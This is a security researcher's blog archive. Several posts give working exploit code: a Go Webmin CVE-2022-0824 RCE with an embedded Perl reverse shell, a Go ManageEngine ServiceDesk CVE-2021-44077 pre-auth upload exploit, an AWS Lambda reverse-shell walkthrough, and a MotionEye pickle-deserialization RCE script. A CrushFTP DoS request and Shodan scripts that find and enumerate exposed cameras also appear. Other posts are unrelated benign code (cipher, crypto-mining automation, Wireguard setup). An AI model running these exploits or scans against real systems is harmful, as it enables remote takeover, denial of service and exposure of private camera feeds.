Category Archives: coding

Webmin CVE-2022-0824 RCE in Golang

I’ve continued my quest to translate exploits into Golang. Here is an RCE in Webmin due to broken access controls. Please see the following links for more information.

https://nvd.nist.gov/vuln/detail/CVE-2022-0824

https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/

https://www.webmin.com/security.html

You can also find this code on my Github.

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"os/exec"
	"regexp"
	"runtime"
	"strings"
)

func check(e error) {
	if e != nil {
		fmt.Println(e)
	}
}

func makePayload(callbackIP string, callbackPort string) {
	payload := []byte("perl -e 'use Socket;$i=\"" + callbackIP + "\";$p=" + callbackPort + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\")};'")
	err := os.WriteFile("./commands.cgi", payload, 0644)
	check(err)

	return
}

func login(client http.Client, target string, creds string) string {

	loginURL := target + "/session_login.cgi"

	params := "user=" + strings.Split(creds, ":")[0] + "&pass=" + strings.Split(creds, ":")[1]

	request, err := http.NewRequest("POST", loginURL, bytes.NewBufferString(params))
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("Cookie", "redirect=1; testing=1")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	var sidCookie = ""

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {

		sidCookie = resp.Request.Response.Cookies()[0].Value
	}
	resp.Body.Close()
	// now use sid cookie to make sure it works to log in
	request, err = http.NewRequest("GET", target, nil)
	request.Header.Set("Cookie", "redirect=1; testing=1; sid="+sidCookie)

	resp, err = client.Do(request)
	if err != nil {
		log.Fatalln(err)
	}
	bodyBytes, err := io.ReadAll(resp.Body)
	bodyString := string(bodyBytes)
	resp.Body.Close()
	r, _ := regexp.Compile("System hostname")
	if !r.MatchString(bodyString) {
		fmt.Println("----> Unable to obtain sid cookie. Check your credentials.")
		return ""
	}

	return sidCookie
}

func runServer(serverURL string) {
	fmt.Println("--> Running a server on " + serverURL)
	serverPort := strings.Split(serverURL, ":")[1]

	exec.Command("setsid",
		"/usr/bin/python3",
		"-m",
		"http.server",
		serverPort,
		"0>&1 &").Output()

	fmt.Println("--> Server Started!")

	return
}

func downloadURL(client http.Client, target string, serverURL string, creds string, sid string) {

	URL := target + "/extensions/file-manager/http_download.cgi?module=filemin"

	serverIP := strings.Split(serverURL, ":")[0]
	serverPort := strings.Split(serverURL, ":")[1]

	bodyString := "link=http://" + serverIP + "/" + serverPort + "/commands.cgi&username=&password=&path=/usr/share/webmin"

	request, err := http.NewRequest("POST", URL, bytes.NewBufferString(bodyString))

	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func modifyPermissions(client http.Client, target string, serverURL string, creds string, sid string) {
	modifyURL := target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"

	bodyString := "name=commands.cgi&perms=0755&applyto=1&path=/usr/share/webmin"

	request, err := http.NewRequest("POST", modifyURL, bytes.NewBufferString(bodyString))

	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func execShell(client http.Client, target string, sid string) {
	fileLocation := target + "/commands.cgi"

	fmt.Println("--> Triggering shell. Check listener!")

	request, err := http.NewRequest("GET", fileLocation, nil)
	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func stopServer() {
	out, _ := exec.Command("kill",
		"-9",
		"$(lsof",
		"-t",
		"-i:{self.pyhttp_port})").Output()
	fmt.Println("--> Killed Server!")
	output := string(out[:])
	fmt.Println(output)

	return
}

func main() {
	fmt.Println("--> Running Exploit! Ensure listener is running!")
	if runtime.GOOS == "windows" {
		fmt.Println("Can't Execute this on a windows machine")
		return
	}

	target := flag.String("t", "https://www.webmin.local:10000", "Target full URL, https://www.webmin.local:10000")
	creds := flag.String("c", "username:password", "Format, username:password")
	serverURL := flag.String("sl", "192.168.8.120:8787", " Http server for serving payload, ex 192.168.8.120:8080")
	callbackIP := flag.String("s", "127.0.0.1", " Callback IP to receive revshell")
	callbackPort := flag.String("p", "9999", " Callback port to receive revshell")

	flag.Parse()

	// uncomment the following to use a local proxy
	// proxyUrl, err := url.Parse("http://localhost:8080")
	// check(err)

	// tr := &http.Transport{
	// 	TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11,
	// 		MaxVersion: tls.VersionTLS11},
	// 	Proxy: http.ProxyURL(proxyUrl),
	// }
	// client := &http.Client{Transport: tr}

	// comment out these two lines if using the proxy above.
	tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11, MaxVersion: tls.VersionTLS12}}
	client := &http.Client{Transport: tr}

	makePayload(*callbackIP, *callbackPort)
	sid := login(*client, *target, *creds)
	runServer(*serverURL)
	downloadURL(*client, *target, *serverURL, *creds, sid)
	modifyPermissions(*client, *target, *serverURL, *creds, sid)
	execShell(*client, *target, sid)
	stopServer()
}

CrushFTP DoS

I was doing a security review of CrushFTP, a multi-platform FTP application, and I came across a DoS stemming from lack of validation of user input.

Originally, I thought there was broken function level authentication, or something similar, when making a request to this particular endpoint with a specific post body, but I was informed by the dev that it is supposed to be an unauthenticated function call.

An unauthenticated user can make a POST request to the /WebInterface/function/ endpoint, with a body containing the following:

command=encryptPassword&encrypt_type=DES&password=[arbitrarily-long-password]
Malicious POST Request

This request will cause a DoS by supplying massive passwords to be encrypted. Although CrushFTP does have some preventative measures in place for DOS attacks, an attacker is able to send a small amount of requests and bog down the system, as seen in the next picture.

CPU Usage Spiking

The issue stems from a lack of input validation for the password parameter, as seen on lines 752 through 786 of ServerSessionAJAX.java.

The developer is very responsive and fixed the issue in a couple of hours. As we can see, the password parameter is now limited to 2000 characters.

And he was gracious enough to give me a shout out in the build logs.

https://www.crushftp.com/version10_build.html

All in all, CrushFTP is an awesome application, and it seems to have a great track record in regards to security. There are only a handful of published CVEs for it, and this seems to be the only thing I’ve found in my testing, so far. The dev is also quick to implement fixes, so users aren’t stuck without a fix for long. I wouldn’t hesitate to use CrushFTP in any environment.

With that said, I did some Shodan searching for instances of CrushFTP running with a slightly non-standard default username and password, and I found a fair amount of them. I tried reporting those to the companies that were running them, but I’ve yet to receive any responses.

Edit: Some major vulns have been released for CrushFTP recently. Kind of jealous since I got sidetracked with new jobs and quit looking at CrushFTP, haha,

https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/

Golang Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus < 11306

Once again, I decided to rewrite an exploit in Golang. Once again, I did thirty seconds of searching to find if someone had already written this one in Golang. Once again, I did not find a preexisting POC in Golang. Once again, I wrote one. Once again, my code is horrible.

You can find a vulnerable version of the software here. You can find this code on my Github here.

package main

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"mime/multipart"
	"net/http"
	"net/url"
	"os"
)

func uploadFile(uri string, paramName, path string) {

	file, err := os.Open(path)

	if err != nil {
		log.Fatal(err)
		return
	}
	fileContents, err := ioutil.ReadAll(file)
	if err != nil {
		log.Fatal(err)
		return
	}
	fi, err := file.Stat()
	if err != nil {
		log.Fatal(err)
		return
	}
	file.Close()

	body := new(bytes.Buffer)
	writer := multipart.NewWriter(body)
	part, err := writer.CreateFormFile(paramName, fi.Name())
	if err != nil {
		log.Fatal(err)
		return
	}
	part.Write(fileContents)
	writer.Close()

	request, err := http.NewRequest("POST", uri, body)
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", writer.FormDataContentType())

	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {
		fmt.Println("Response code should be 401, if successful uploading occured.")
		fmt.Println(resp.StatusCode)
	}

	defer resp.Body.Close()

	return
}

func triggerExploit(uri string) {
	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	triggerURL := uri + "RestAPI/s247action"
	postData := "execute=s247AgentInstallationProcess"

	request, err := http.NewRequest("POST", triggerURL, bytes.NewBufferString(postData))
	if err != nil {
		return
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	client.Do(request)
}

func main() {
	// get flags
	VulnerableInstance := flag.String("u", "http://127.0.0.1:8080", "Vulnerable Service Desk URL: http://127.0.0.1:8080")
	maliciousFileName := flag.String("f", "exploit.exe", "File you want to upload: exploit.exe")

	flag.Parse()

	path, err := os.Getwd()
	if err != nil {
		log.Fatal(err)
	}
	fullMaliciousFileName := path + *maliciousFileName

	fmt.Println("\n---> Uploading File!")
	uploadFile(*VulnerableInstance+"RestAPI/ImportTechnicians?step=1", "theFile", fullMaliciousFileName)

	fmt.Println("\n---> Triggering!")
	triggerExploit(*VulnerableInstance)

	fmt.Println("\nExploit Completed!")

}

A Quick AWS Lambda Reverse Shell

Let’s say you’re doing a pentest, and you run across access to AWS Lambda. I recently learned you can get a persistent shell (for 15 minutes, at least) via Lambda, which seemed odd to me because always just considered Lambda a repeatable, but ephemeral thing.

Anyway, first create lambda_function.py with the following code. Note that you’ll need a hostname to connect to. In my case, I used pizzapower.me.

Lambda reverse shell python code.

Next, zip this up into shell.zip.

Creating shell.zip that contains our reverse shell function.

Now we are going to create a Lambda function and upload our shell.zip with the following command

aws lambda create-function --function-name test --runtime python3.9 --handler lambda_function.lambda_handler --timeout 900 --zip-file fileb://shell.zip --role <The Amazon Resource Name (ARN) of the function's execution role>
Creating our function and uploading the code.

Don’t forget to start your listener, and when you are ready, trigger the function!

And catch the shell.

According to the docs, “a Lambda function always runs inside a VPC owned by the Lambda service.” But you can attach your function to your own VPC, so depending on how the victim’s AWS environment is configured, you may be able to pivot around and exploit some more stuff.

Python Caesar Cipher in 15 Minutes

READER BEWARE: The code in this post is horrible.

Ever been asked to write a Caesar Cipher in Python in 15 minutes? No? Neither have I.

Anyway, here is what I accomplished. It is far from optimal. It does not take a lot into account e.g. punctuation, uppercase chars, non integer keys, negative keys, etc. But I was in a hurry.

It takes the message variable and shifts each letter to the ‘right’ by the value of the current key in keys.

#!/usr/bin/env python3

from string import ascii_lowercase

# lowercase letters
CHARACTERS = list(ascii_lowercase)

# for char in CHARACTERS:
#     print(ord(char))

message = "i cannot do this under duress"

keys = [1, 6, 9, 4, 2, 0]

# convert to unicode
message_ord = [ord(x) for x in list(message)]

for key in keys:
    new_message = ""
    for letter in message:
        # I did take care of spaces. 
        if letter == " ":
            new_message += " "
        elif ord(letter) + key > 122:
 #should prob mod something somewhere
            offset = (ord(letter) + key) - 123
            new_letter = 97 + offset
            new_message += chr(new_letter)
        else:
            new_letter = ord(letter) + key
            new_message += chr(new_letter)

    print(f"For key: '{key}' the message is '{new_message}'")

This took me 15 minutes and 36 seconds.

Sharpshooter, Python2.7, and Pip2 Installation

Newer versions of Linux may not come with any sort of Python 2 installed. I recently wanted to run Sharpshooter, which is a “payload creation framework for the retrieval and execution of arbitrary CSharp source code.”

Problem is, Python 2 isn’t installed by default on Ubuntu 21.xx and neither is pip2. You also need to install an older (I think) version of jsmin – at least that’s what worked for me.

Use this script to install everything and get it up and running.

if [ "$EUID" -ne 0 ]
    then echo "Run as root!"
    exit
fi

# clone sharpshooter from github
git clone https://github.com/mdsecactivebreach/SharpShooter.git

add-apt-repository universe && apt update

apt install git curl

# install python2.7 and pip2
apt install python2.7 -y
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
chmod +x ./get-pip.py
sudo python2.7 ./get-pip.py

# install correct jsmin
wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
python2.7 ./jsmin-2.2.2/setup.py install

Learning Go By Writing a POC for Gitlab CVE-2021-22205

I’ve been wanting to learn Go, and I learn by doing, so I decided to write a POC for CVE-2021-22205, which is fairly straightforward RCE in Gitlab that dropped a few weeks ago. My process in developing this went like this.

  1. Do thirty seconds of research to find a prior Golang POC for this CVE. I didn’t find one, but I’m sure they exist somewhere. I still would have written this, even if I found one. It would make for something to compare my poorly written code to.
  2. Start writing code. My thoughts the whole time while I was writing this were some variation of the following, “There must be a better way to do this.”
  3. Test.
  4. Rewrite.
  5. Repeat above for about 6 hours.
  6. Success!

I’m going to need more practice. I’ve been so used to python for the last ten years, moving to Golang is going to take some work.

Anyway, here is a link to my POC.

Tesla Solar, Powerwalls, Docker, Python, and Crypto Mining

I had Tesla solar panels and Powerwalls installed several weeks ago. I currently don’t have permission to operate (PTO) from my electricity provider, which means I can’t ship any of my surplus power back to the grid. So, after my batteries fill up for the day, I usually have power production that is going to waste. What can I do with that power?

Mine crypto, that’s what I can do! Those of you that know me IRL, know that I’ve been involved in crypto for a decade. Mining isn’t new to me, but I mostly gave up on it in 2012/2013 when I was only mining a few of Bitcoin a month and it wasn’t worth it to me anymore. Talk about a wrong decision…

I digress. I’m sitting here now producing extra power. Mining crypto with a graphics card that I already have will make me around $50-100/month and give me a chance to whip up a script in Python, which is what I truly enjoy in life. I haven’t done the actual math on it, but I think mining crypto is more profitable that selling my power back to my utility provider. It is also more fun to mine, lol.

My workstation that I’ll be mining on has a sole Gigabyte 1080 TI. It’s a little old, but they’re still going for $700 on eBay these days. I’m running Ubuntu 20.04, and I’ve decided to mine with a docker container and pointing my card at an ethash endpoint from NiceHash. I need to do some research to see if there are better options – which I assume exist.

My overall strategy for this operation will be pretty simple to start off. I’m just going to mine when my batteries are charged above a certain threshold. I set this threshold in the variable BATTERY_CHARGE_TO_START_MINING in the code. Yeah, I like long variable names.

Fortunately, Tesla provides an API to gather information from the Powerwall and there is a Python package to query it. To install this package use the following command:

pip3 install tesla_powerwall

And since I use this docker image to run the Trex Miner app, we also need to install the docker python package.

pip3 install docker

This script is pretty straightforward. I start a docker client to get the running images. I create a new Miner class with my wallet address and URL. This class has methods to start and stop the miner, as well as check if it is running.

Then, in a while loop I check my battery level and start and stop the miner as appropriate. I repeat this every HOW_OFTEN_TO_CHECK seconds.

Here is the code:

#!/usr/bin/env python3

import os
from tesla_powerwall import Powerwall
import docker
import time

POWERWALL_URL = ""  # PowerWall Gateway address goes here
EMAIL = ""  # email address that you use to login into the gateway
PASSWD = ""  # password that you use to log into the gateway
WALLET_ADDRESS = "35kwhvhyfnVnGdoWdyLqrtaHeY7RYByPfW"  # mining wallet address
MINING_URL = (
    "stratum+tcp://daggerhashimoto.usa-east.nicehash.com:3353"  # Mining url
)
# lowest battery charge where mining will start
BATTERY_CHARGE_TO_START_MINING = 50
# how often to check is battery level allows mining or not in seconds
HOW_OFTEN_TO_CHECK = 1800


def init():
    # initialize powerwall object and api
    powerwall = Powerwall(
        endpoint=POWERWALL_URL,
        timeout=10,
        http_session=None,
        verify_ssl=False,
        disable_insecure_warning=True,
        pin_version=None,
    )
    powerwall.login(PASSWD, EMAIL)

    api = powerwall.get_api()

    return powerwall, api


class Miner:
    def __init__(self, client, wallet_address, mining_url):

        self.wallet_address = wallet_address
        self.mining_url = mining_url
        self.client = client
        return

    def start_miner(self, client):
        env_vars = {
            "WALLET": WALLET_ADDRESS,
            "SERVER": MINING_URL,
            "WORKER": "Rig",
            "ALGO": "ethash",
        }
        try:
            client.containers.run(
                "ptrfrll/nv-docker-trex:cuda11",
                detach=True,
                runtime="nvidia",
                name="trex-miner",
                ports={4067: 4067},
                environment=env_vars,
            )
        except os.error as e:
            client.containers.get("trex-miner").restart()
        return

    def stop_miner(self, client):
        trex = client.containers.get("trex-miner")
        trex.stop()
        return

    def is_running(self):
        try:
            client.containers.get("trex-miner")
            return True
        except os.error:
            return False


if __name__ == "__main__":
    powerwall, api = init()

    client = docker.from_env()

    miner = Miner(client, WALLET_ADDRESS, MINING_URL)

    miner.start_miner(client)

    while True:
        # powerwall charge is satisfactory, start mining
        if not miner.is_running() and (
            api.get_system_status_soe()["percentage"]
            > BATTERY_CHARGE_TO_START_MINING
        ):
            miner.start_miner(client)
            print("miner is running or will be started")
        # powerwall charge is too low, shut off mining
        elif miner.is_running() and (
            api.get_system_status_soe()["percentage"]
            < BATTERY_CHARGE_TO_START_MINING
        ):
            print("stopping miner")
            miner.stop_miner(client)
        # try again
        time.sleep(HOW_OFTEN_TO_CHECK)

You can also find future updates of the code here.

TODO: add more options to start/stop mining e.g. if my panels/batteries are connected to the grid or not, start/stop mining based on the weather, etc.

TODO: rewrite in Golang. Trying to learn Go.

Hacking MotionEye/MotionEyeOS

Getting Started with MotionEye

MotionEye is an open source, web-based GUI for the popular Motion CLI application found on Linux. I’ve known of the Motion command line app for years, but I didn’t know that MotionEye existed. I ran across it while trying to find a multiple webcam, GUI or web based solution for future projects.

MotionEye comes in a couple forms – a standalone app, which I used the docker container version of, or a “whole” operating system, MotionEyeOS, to install on a Raspberry Pi.

Starting off, I used Shodan search to find internet facing installations. Here is the script I used for that. If you use this script, you’ll need to put in your API key and the limit parameter, which limits the API queries that you use.

#!/usr/bin/env python3

import sys
# pip3 install shodan
from shodan import Shodan
import requests

# check for api key
api = Shodan('') # Insert API key here

if api.api_key == '':
    print("No API key found! Exiting")
    sys.exit(1)

limit = 1000 # set this to limit your api query usage
counter = 0

url_file = open("urls.txt", "w")

for response in api.search_cursor('Server: motionEye'):
    ip = response['ip_str']
    port = response['port']
    url = f'http://{ip}:{port}'
    url_file.write(url + '\n')

    # Keep track of how many results have been downloaded so we don't use up all our query credits
    counter += 1
    if counter >= limit:
        break

url_file.close()

I ran out of query credits when I ran this script. There are thousands of installations out there. This script will output the IP addresses of those installations.

Finding Live Feeds

In my review of the application, I found that you can make a query to the /picture/{camera-number}/current/ endpoint, and if it returns a 200 status code, it means that the feed is open to the public. You can also increment the camera-number an enumerate the numbers of cameras a feed will actually have, even if it isn’t available to view.

I took the output of motioneye-shodan.py script above, and fed it to live-feeds.py script below.

#!/usr/bin/env python3

import requests

url_file = open("urls.txt", "r")
urls = url_file.readlines()
url_file.close()

live_urls = open("live-urls.txt", "w")

for url in urls:
    try:
        response = requests.get(url + "/picture/0/current/", verify=False, timeout=3).status_code
        print(response)
        if response == 200:
            live_urls.write(url)
    except:
        pass

live_urls.close()

This script outputs the URL of camera feeds that we can view. But the real question here is, what security issues are there with MotionEye?

Information Leakage

It turns out that if you make a get request to the following endpoint /config/list, some of the feeds will return their config files. Most of the time these config files are innocuous. I’m not sure why these are publicly accessible even if the feed is publicly accessible. Maybe it is used as an API endpoint of some sort. I need to dig into the code some more.

However, sometimes these config files contain some very sensitive information. Consider the following config with email_notifications_smtp_password and email_notifications_addresses removed. These passwords are supposed to be for services that the public cannot access, but unfortunately people like to reuse passwords. Again, why is this file even readable?

Along with the occasional password, email addresses are in here, internal IP addresses and ports, mounting points for local drives, etc.

Rate-Limiting and Default Credentials

So, the default installation of MotionEye uses the username of admin and a blank password. Additionally, MotionEye does not seem to institute any sort of rate limiting on login attempts. This is a recipe for disaster.

Authenticated RCE Method #1

Once logged in, I found two simple methods of code execution. The first of which is a classic Python cPickle deserialization exploit.

In the configuration section of the application, there is an option to backup and restore the application configurations. It turns out that if you include a malicious tasks.pickle file in the config you are restoring with, it’ll be written to disk and will be loaded when the application is restarted automatically or manually.

You can simply download the current configuration to use it as a template. After downloading and extracting it, slide your malicious tasks.pickle file and tar.gz everything back up.

The final structure of my motioneye-config.tar.gz for the docker container is as follows:

├── camera-1.conf
├── motion.conf
├── motioneye.conf
└── tasks.pickle

Alternatively, the final structure of my motioneye-config.tar.gz lon MotionEyeOS is the following:

├── adjtime
├── camera-1.conf
├── crontabs
├── date.conf
├── localtime -> /usr/share/zoneinfo/UTC
├── motion.conf
├── motioneye.conf
├── ntp.conf
├── os.conf
├── proftpd.conf
├── shadow
├── shadow-
├── smb.conf
├── ssh
│   ├── ssh_host_dsa_key
│   ├── ssh_host_dsa_key.pub
│   ├── ssh_host_ecdsa_key
│   ├── ssh_host_ecdsa_key.pub
│   ├── ssh_host_ed25519_key
│   ├── ssh_host_ed25519_key.pub
│   ├── ssh_host_rsa_key
│   └── ssh_host_rsa_key.pub
├── static_ip.conf
├── tasks.pickle
├── version
├── watch.conf
└── wpa_supplicant.conf

Pause here: You see, those are ssh keys. So you say why don’t we just try ssh? Go for it. You also may not even need a password, but some people have either secured ssh or disabled ssh on the actually raspberry pi, so it won’t work. A lot of these instances will have ssh turned off, and if it is running in docker, you probably won’t be able to download the ssh keys. Also, it is more fun to write scripts in Python.

Once the configuration is uploaded, wait for the app to reload, or, in unfortunate cases, wait for the app to be reloaded by mother nature or the victim. From what I can see, the docker application will not autoreboot. Here is a Python 3 script that will do all of this. Also, see the github repo, which may be more updated.

#!/usr/bin/env python3

import requests
import argparse
import os
import pickle
import hashlib
import tarfile
import time
import string
import random
from requests_toolbelt import MultipartEncoder
import json


# proxies = {"http": "http://127.0.0.1:9090", "https": "http://127.0.0.1:9090"}
proxies = {}


def get_cli_args():
    parser = argparse.ArgumentParser(description="MotionEye Authenticated RCE Exploit")
    parser.add_argument(
        "--victim",
        help="Victim url in format ip:port, or just ip if port 80",
        required=True,
    )
    parser.add_argument("--attacker", help="ipaddress:port of attacker", required=True)
    parser.add_argument(
        "--username", help="username of web interface, default=admin", default="admin"
    )
    parser.add_argument(
        "--password", help="password of web interface, default=blank", default=""
    )
    args = parser.parse_args()
    return args


def login(username, password, victim_url):
    session = requests.Session()
    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    headers = {"User-Agent": useragent}
    login_url = f"http://{victim_url}/login/"
    body = f"username={username}&password={password}"
    session.post(login_url, headers=headers, data=body)
    return session


def download_config(username, victim_url, session):
    download_url = f"http://{victim_url}/config/backup/?_username={username}&_signature=5907c8158417212fbef26936d3e5d8a04178b46f"
    backup_file = session.get(download_url)
    open("motioneye-config.tar.gz", "wb").write(backup_file.content)
    return


def create_pickle(ip_address, port):
    shellcode = ""  # put your shellcode here

    class EvilPickle(object):
        def __reduce__(self):
            cmd = shellcode
            return os.system, (cmd,)

    # need protocol=2 and fix_imports=True for python2 compatibility
    pickle_data = pickle.dumps(EvilPickle(), protocol=2, fix_imports=True)
    with open("tasks.pickle", "wb") as file:
        file.write(pickle_data)
        file.close()
    return


def decompress_add_file_recompress():
    with tarfile.open("./motioneye-config.tar.gz") as original_backup:
        original_backup.extractall("./motioneye-config")
        original_backup.close()
    original_backup.close()
    os.remove("./motioneye-config.tar.gz")
    # move malicious tasks.pickle into the extracted directory and then tar and gz it back up
    os.rename("./tasks.pickle", "./motioneye-config/tasks.pickle")
    with tarfile.open("./motioneye-config.tar.gz", "w:gz") as config_tar:
        config_tar.add("./motioneye-config/", arcname=".")
    config_tar.close()
    return


def restore_config(username, password, victim_url, session):
    # a lot of this is not necessary, but makes for good tradecraft
    # recreated 'normal' requests as closely as I could
    t = int(time.time() * 1000)
    path = f"/config/restore/?_={t}&_username={username}"
    # admin_hash is the sha1 hash of the admin's password, which is '' in the default case
    admin_hash = hashlib.sha1(password.encode("utf-8")).hexdigest().lower()
    signature = (
        hashlib.sha1(f"POST:{path}::{admin_hash}".encode("utf-8")).hexdigest().lower()
    )
    restore_url = f"http://{victim_url}/config/restore/?_={t}&_username=admin&_signature={signature}"

    # motioneye checks for "---" as a form boundary. Python Requests only prepends "--"
    # so we have to manually create this
    files = {
        "files": (
            "motioneye-config.tar.gz",
            open("motioneye-config.tar.gz", "rb"),
            "application/gzip",
        )
    }

    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    boundary = "----WebKitFormBoundary" + "".join(
        random.sample(string.ascii_letters + string.digits, 16)
    )

    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "Content-Type": m.content_type,
        "User-Agent": useragent,
        "X-Requested-With": "XMLHttpRequest",
        "Cookie": "meye_username=_; monitor_info_1=; motion_detected_1=false; capture_fps_1=5.6",
        "Origin": f"http://{victim_url}",
        "Referer": f"http://{victim_url}",
        "Accept-Language": "en-US,en;q=0.9",
    }
    response = session.post(restore_url, data=m, headers=headers, proxies=proxies)
    # if response == reboot false then we need reboot routine
    content = json.loads(response.content.decode("utf-8"))

    if content["reboot"] == True:
        print("Rebooting! Stand by for shell!")
    else:
        print("Manual reboot needed!")
    return


if __name__ == "__main__":
    print("Running exploit!")
    arguments = get_cli_args()
    session = login(arguments.username, arguments.password, arguments.victim)
    download_config(arguments.username, arguments.victim, session)
    # sends attacker ip and port as arguments to create the pickle
    create_pickle(arguments.attacker.split(":")[0], arguments.attacker.split(":")[1])
    decompress_add_file_recompress()
    restore_config(arguments.username, arguments.password, arguments.victim, session)

Authenticated RCE Method #2

Another method of code execution involves motion detection. There is an option to run a system command whenever motion is detected. The security implications of this are obvious.

python rev shell

Conclusion

While authentication is needed for RCE, the presence of default credentials and lack of rate limiting make obtaining authentication straightforward. There are a lot of people running this software in a vulnerable manner.

As per my usual advice, don’t expose MotionEye to the WWW. Like all the self-hosted solutions, I advise you to install this to face your internal network and then connect to your internal network via OpenVPN or Wireguard.

Update: I was give CVE-2021-44255 for the python pickle exploit.

Wireguard to Your House

Instructions:

  • Run Wireguard on your home server and select a port that you’d like to face externally.
  • Port forward that port in your router to your server. Let’s use port 12345.
  • Create public and private keys on your server.
  • Create conf file on your server.
  • Create keys and conf file on clients (phone, notebook, tablet, etc).
  • Enter keys in conf files.
  • Connect clients to home server.

Here is a sample which has confs for both a server and client. Ensure you enter your information as needed. Don’t forget your interface in the iptables commands.

# home server wg0.conf

[Interface]
PrivateKey = # server privkey here 
Address = 192.168.2.1
ListenPort = 12345

PostUp   = iptables -A FORWARD -i %i -j ACCEPT; iptables -A FORWARD -o %i -j ACCEPT; iptables -t nat -A POSTROUTING -o enp0s31f6 -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -D FORWARD -o %i -j ACCEPT; iptables -t nat -D POSTROUTING -o enp0s31f6 -j MASQUERADE

[Peer]
# notebook
PublicKey = # notebook pubkey here
AllowedIPs = 192.168.2.2

# notebook wg0.conf

[Interface]
PrivateKey = # notebook privkey here
Address = 192.168.2.3
DNS = 192.168.1.125 # dns server (pihole) address on my home network

[Peer]
PublicKey = # server pubkey here
Endpoint = 1.2.3.4:12345 # your home ip address and wireguard port
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 21

So, in this case, port 12345 should be setup for port forwarding. You clients will connect back to port 12345 on your home IP address. If you have a dynamic IP address at home, you’ll need a solution for that like a custom script, DDNS, or even using a VPS as some sort of jump host.

If you can’t open a port, you could run the server on a Linode (with my referral of course, lol) instance that would be very cheap. A nanode is $5 a month, and now you can use it for other stuff too. Then connect everything to it. Now your phone and home server are on the same network.